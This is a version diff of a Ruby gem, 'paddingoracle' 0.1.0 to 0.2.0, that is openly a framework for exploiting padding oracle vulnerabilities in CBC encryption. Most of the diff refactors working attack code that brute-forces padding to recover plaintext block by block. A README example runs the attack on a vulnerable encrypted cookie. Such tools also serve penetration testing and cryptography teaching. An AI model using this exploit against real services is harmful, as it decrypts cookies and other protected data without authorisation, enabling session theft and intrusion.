paddingoracle 0.1.0 → 0.2.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: d93d43230839157731fe605c0b0b52425eeb2a97
-  data.tar.gz: 823903edb7fd3d3a99abf4c6710b4deb8b5194a8
+  metadata.gz: ed7da81de6de88c046ea1542757eb9936910604b
+  data.tar.gz: 76bf4af6ad1174ffbb3b89ac44c0d32a2eb67e0a
 SHA512:
-  metadata.gz: c750323b167537de65968c2a845c06ae5c8f5d44bcd78474e0333c744403a1072917a70cf172988d041acfa15d1ebda7fc319f485cae7c7a756f0dff95a040f4
-  data.tar.gz: 2d7558702fb218b31654ec64305402050d71c975c9d9634a45e63dcffc815ffdaa84bbeb06a2b27c91ae0e82ddcd1091ecc112588b356d3bdeb506acb20fb1d8
+  metadata.gz: ef17fc788bc35503cac8d392cd54ad8549013d8431f1886a97de0132941a1b8c5a4fca4820c64d6a4a2bb0b16e1fa0773a5809321fc0a4d80b35afc95ce59c65
+  data.tar.gz: ab57fb81ca8ad1aecea3536d813659fbe1eeef4fa684044bb651c356dc00e905dfd56b3f29fa09f418349c1320828d6fc2343fe6d85d9c8c89ef6e8a48387a85

data/README.md

@@ -4,6 +4,9 @@ This is a Rubyframework for exploiting padding oracle vulnerabilities based on t
 
 https://github.com/mwielgoszewski/python-paddingoracle
 
+## Build status
+[![Build Status](https://travis-ci.org/technion/paddingoracle.svg?branch=master)](https://travis-ci.org/technion/paddingoracle)
+
 ## Usage
 
 
@@ -27,9 +30,10 @@ end
 
 You can then run the attack like this;
 ```
+Blocksize = 8
 COOKIE = 'vulnerable encrypted data'
 bcookie = Base64.decode64(COOKIE)
-plain = Paddingoracle::recover_all_blocks(bcookie)
+plain = Paddingoracle::recover_all_blocks(bcookie, Blocksize)
 puts plain
 ```
 

data/lib/paddingoracle.rb

@@ -5,13 +5,12 @@ require 'uri'
 
 module Paddingoracle
   extend self
-  Blocksize = 8
 
   def remove_pad(str)
     # Remove PKCS #7 padding
     raise "Incompatible remove_pad input" unless str.kind_of? String
     last = str[-1,1]
-    raise "Invalid padding" unless last.ord > 0  && last.ord <= Blocksize
+    raise "Invalid padding" unless last.ord > 0  && last.ord <= str.size
 
     padstr = last.chr * last.ord
 
@@ -23,15 +22,15 @@ module Paddingoracle
     return str[0..(str.length-last.ord)-1]
   end
 
-  def recover_block(enc, prevblock)
+  def recover_block(enc, prevblock, blocksize)
       #For a single CBC-encrypted block, utilise padding Oracle to 
       #recover plaintext
-      if enc.length != Blocksize || prevblock.length != Blocksize
+      if enc.length != blocksize || prevblock.length != blocksize
           raise "Incorrect block size to recover"
       end
       ret = "" 
       gen = ""
-      (0..Blocksize-1).to_a.reverse.each do |k| #For each byte in block
+      (0..blocksize-1).to_a.reverse.each do |k| #For each byte in block
           (0..256).each { |n|
               if n == 256
                   #Should break before this point. n is only valid in 0-255
@@ -40,7 +39,7 @@ module Paddingoracle
               end
               testblock = 'A' * k + n.chr + gen + enc 
               puts testblock.unpack('H*').join
-              if testblock.length != 2*Blocksize
+              if testblock.length != 2*blocksize
                   raise "Test block had incorrect blocksize"
               end
               #puts "Lengths are #{testblock.length}"
@@ -52,29 +51,30 @@ module Paddingoracle
                   #The decrypt_oracle will raise this if the padding is invalid
                   next
               end
-              b = (n.ord ^ (Blocksize-k).ord ^ prevblock[k].ord).ord 
+              b = (n.ord ^ (blocksize-k).ord ^ prevblock[k].ord).ord 
               #Debugging
               ret = b.chr + ret 
               break #No need to continue once identified
           }
           gen = ret.bytes.map.with_index{ |x, i|
-              ((Blocksize-k+1).ord ^ x.ord ^ prevblock[k+i].ord).chr}.join
+              ((blocksize-k+1).ord ^ x.ord ^ prevblock[k+i].ord).chr
+              }.join
 
       end
       return ret
   end  
 
-  def recover_all_blocks(enc)
+  def recover_all_blocks(enc, blocksize)
       #Cycle through each Blocksize block and gather results
       #Strip PKCS#7 padding before returning
-      raise "Invalid block" unless enc.length % Blocksize == 0
+      raise "Invalid block" unless enc.length % blocksize == 0
       ret = ""
-      prevblock = enc[0..Blocksize-1]
-      enc = enc[Blocksize..enc.length-1]
+      prevblock = enc[0..blocksize-1]
+      enc = enc[blocksize..enc.length-1]
       puts "we have #{enc.length} in length"
-      (0..enc.length-Blocksize).step(Blocksize) do |n|
-          block = enc[n..n+Blocksize-1]
-          ret += recover_block(block, prevblock)
+      (0..enc.length-blocksize).step(blocksize) do |n|
+          block = enc[n..n+blocksize-1]
+          ret += recover_block(block, prevblock, blocksize)
           prevblock = block
       end
       ret = remove_pad(ret)

data/lib/paddingoracle/version.rb

@@ -1,3 +1,3 @@
 module Paddingoracle
-  VERSION = "0.1.0"
+  VERSION = "0.2.0"
 end

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: paddingoracle
 version: !ruby/object:Gem::Version
-  version: 0.1.0
+  version: 0.2.0
 platform: ruby
 authors:
 - Technion
 autorequire: 
 bindir: exe
 cert_chain: []
-date: 2017-04-06 00:00:00.000000000 Z
+date: 2017-04-07 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: bundler